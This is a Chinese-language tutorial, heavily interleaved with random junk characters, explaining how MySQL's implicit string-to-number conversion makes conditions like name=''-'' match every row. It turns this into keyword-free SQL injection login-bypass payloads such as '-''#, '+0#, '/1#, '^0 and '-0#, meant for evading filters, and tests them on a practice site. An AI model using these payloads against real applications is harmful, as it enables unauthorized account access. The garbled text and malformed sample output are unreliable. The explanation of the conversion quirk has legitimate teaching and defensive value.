我们先来看这样一个场景。! z4 q; Y3 w5 c
有以下表结构:
5 u4 Q7 B8 V) \- k! j O. ^" D: f- n5 i5 @; Y# Z. P* j. X6 R0 _
mysql> desc admin;
" E* `' w7 r- Q: K4 Y) @5 {) b+----------+--------------+------+-----+---------+----------------+
4 D0 b: ^* n: T7 `; J* s. e| Field | Type | Null | Key | Default | Extra |7 C5 `: O! x0 I' {: ^7 \
+----------+--------------+------+-----+---------+----------------+
$ P1 `9 d' Y% r| id | mediumint(9) | NO | PRI | NULL | auto_increment | b4 p8 M! v; @1 x. x5 j
| name | char(32) | NO | UNI | NULL | |
) @- Z# o8 q7 I: _2 R, U' ~| password | char(32) | NO | UNI | NULL | |
/ w E% `/ V/ X6 E. T& U+----------+--------------+------+-----+---------+----------------+
1 }) s& @7 C* g/ N( T3 rows in set (0.00 sec): i E% L6 W9 T8 k: d1 g) C) Z
执行select * from admin;,成功返回所有记录内容。, J" c! j7 b6 k0 n9 R7 h' q
; s$ B, m. X" g" O: @2 I
/ [8 F. f1 q0 Z7 [
+----+--------+----------------------------------+
: c! S6 [7 m8 y* a| id | name | password |1 ^: M/ q: J T& y' S. Z
+----+--------+----------------------------------+4 x# {4 N& N& L0 x- [; B+ {' d% k
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |2 w2 f, L; E$ U
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ |3 q6 m9 V, ~- `& q' ?) d
| 4 | n00b | ff80e8508d39047460921792273533a4 |
- A, {1 @: c2 w; n+----+--------+----------------------------------+$ g: d, b, F( F/ h# b0 i! r
3 rows in set (0.00 sec)& M2 `/ z/ Z7 P, x. ], T& S" s
执行select * from admin where name=”;,没有匹配到任何记录。 - c% v @& X9 V4 Z5 w
+ u1 O8 w3 R% m. z
mysql> select * from admin where name = '';
! x% M& L6 r9 l0 c! Z: \; Z- SEmpty set (0.00 sec)
) W) @: Z$ x$ k0 Z那么我们来执行select * from admin where name = ”-”;
" \4 {3 W& r P/ j& F7 g j* R; N- q1 O
2 g8 \4 I. E: x7 Y, `9 g; _+----+--------+----------------------------------+
$ D' F' y0 `2 P( W| id | name | password |
+ L3 N3 b, y4 m2 ]$ y+----+--------+----------------------------------+
' D/ S; c: K% r7 h* N8 @3 C9 j| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | l# z1 v* R; |
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
( E: y; M1 G* s; X% V| 4 | n00b | ff80e8508d39047460921792273533a4 |
j: h6 _3 B' S, M' D5 e4 @+----+--------+----------------------------------+2 k n$ j/ b, i( A5 m, d
3 rows in set, 3 warnings (0.00 sec)
& C4 Q9 m4 M2 \7 B0 v: \+ u% @ T9 ^: F! ?可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
! G$ d: ?# F( E$ i% r9 B* a0 M& A$ W2 _" L9 B/ X r+ Q: a* ]
mysql> show warnings;
7 ]. U# C, ~2 F- X6 \1 r+---------+------+------------------------------------------% r" i; o0 ]! n& k
| Level | Code | Message
' P7 w! \! H! V' X+---------+------+------------------------------------------
s+ ^6 Y2 m9 i+ N| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin+ j: Y: Z1 j& u, d6 A! t& @
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
: M y! ^5 W/ n Y7 A6 m2 L2 b6 Z) {| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
/ h) I6 @+ x. q6 ]3 a* E+---------+------+------------------------------------------: f5 l1 O% Y7 ^2 \
3 rows in set (0.00 sec) |- q( A# p5 s9 J, X! ^ z
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 4 e, o" J* z9 `; v! d( K' N5 Q
0 T& s0 O; r; F2 R- I" r( j5 j
mysql> select ''-'';. m( W8 Z" w1 n6 I! |# ^
+-------+
7 f/ C) {9 W$ j9 i7 \- D| ''-'' |
, Y4 M% [. Q$ @' Q* z. g6 ^0 f+-------++ p1 f6 G; P" \2 ?# f" ?3 I p$ T
| 0 |; s; V- @. o# A8 G9 n5 G
+-------+
1 g8 ]8 f' _$ L* c# U1 z1 row in set (0.00 sec)$ e4 r3 n: K5 Q$ {# J* O
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: [4 \: W2 A7 ]6 D) Q' p! J r
: [' T# f: z0 h' ]8 q
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);6 \4 g( c7 y$ R$ X
+-----------------------------------------------------+
& c3 R$ w5 f$ f! t/ K2 }8 V| CAST((select name from admin limit 1,1) as DECIMAL) |
6 i* r# A. {3 s9 t2 U+-----------------------------------------------------+
( A& P$ ]% }7 v5 m| 0 | n- r- b; ^1 R( @4 f) n
+-----------------------------------------------------+; c9 |/ L/ a8 L. B/ ^2 E4 x4 f8 c6 t
1 row in set, 1 warning (0.00 sec)
/ N! j" ~3 t. J' r因此where语句构成了相等的条件,where 0=”=”,记录被返回。 3 |5 V# I- O9 B3 g
3 L+ s8 p [! T. p* }* b+ `5 J
SQL注入场景: http://www.sqlzoo.net/hack/ 8 ~8 n! H- p; a0 j( C9 H
u% \1 \: i1 j) u. R4 q6 ^! y+ S
3 a3 |/ |4 Y2 n8 {. `
W) D& v* S# m; M. X: U% [& b/ ]3 b1 G3 a9 h7 V2 t2 ?
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
* e$ J# e# B7 @' m( C6 s$ q- Z8 N5 g# L& e: Y6 k" }
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
+ D' C: [0 q/ k j1 M" X# Z* W2 t' v. p ]$ r( p
3 v$ r6 q2 x' B6 N4 n$ a' s* \$ P8 n4 N
" X/ u8 s% n) D' d仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
( h3 M; z f4 E1 D" f$ d
" c( L$ y7 g# D& n& r% \3 r: `9 g
3 c; E1 x% V! P+ G6 O, H# `( O( K/ @. c
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
0 j8 M8 X9 M7 N1 O# C) n8 n7 f# \: C6 @* B" K% X& Y0 [1 F6 ^
' V9 G4 @% k7 c6 j4 vmysql> select ''/1;4 R# f% x5 G+ D& S
+------+
( k9 s7 K. r% E! A L0 u| ''/1 |
) c( { i* G, X+ j+ e o9 f5 m+------+
7 k/ ^2 y+ N4 C4 D2 V| 0 |, c4 A% O: k. r: r- O) s
+------+
) ^! R. J9 R; W" d7 @: K: A' C- U7 p1 row in set (0.00 sec)' H1 Y# [+ @( _
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 % E' {$ I. T8 R7 F9 C& o
& f8 p/ Y; U- t8 \& q1 P; [利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
* I' c( ~9 l v5 i/ T; G |
|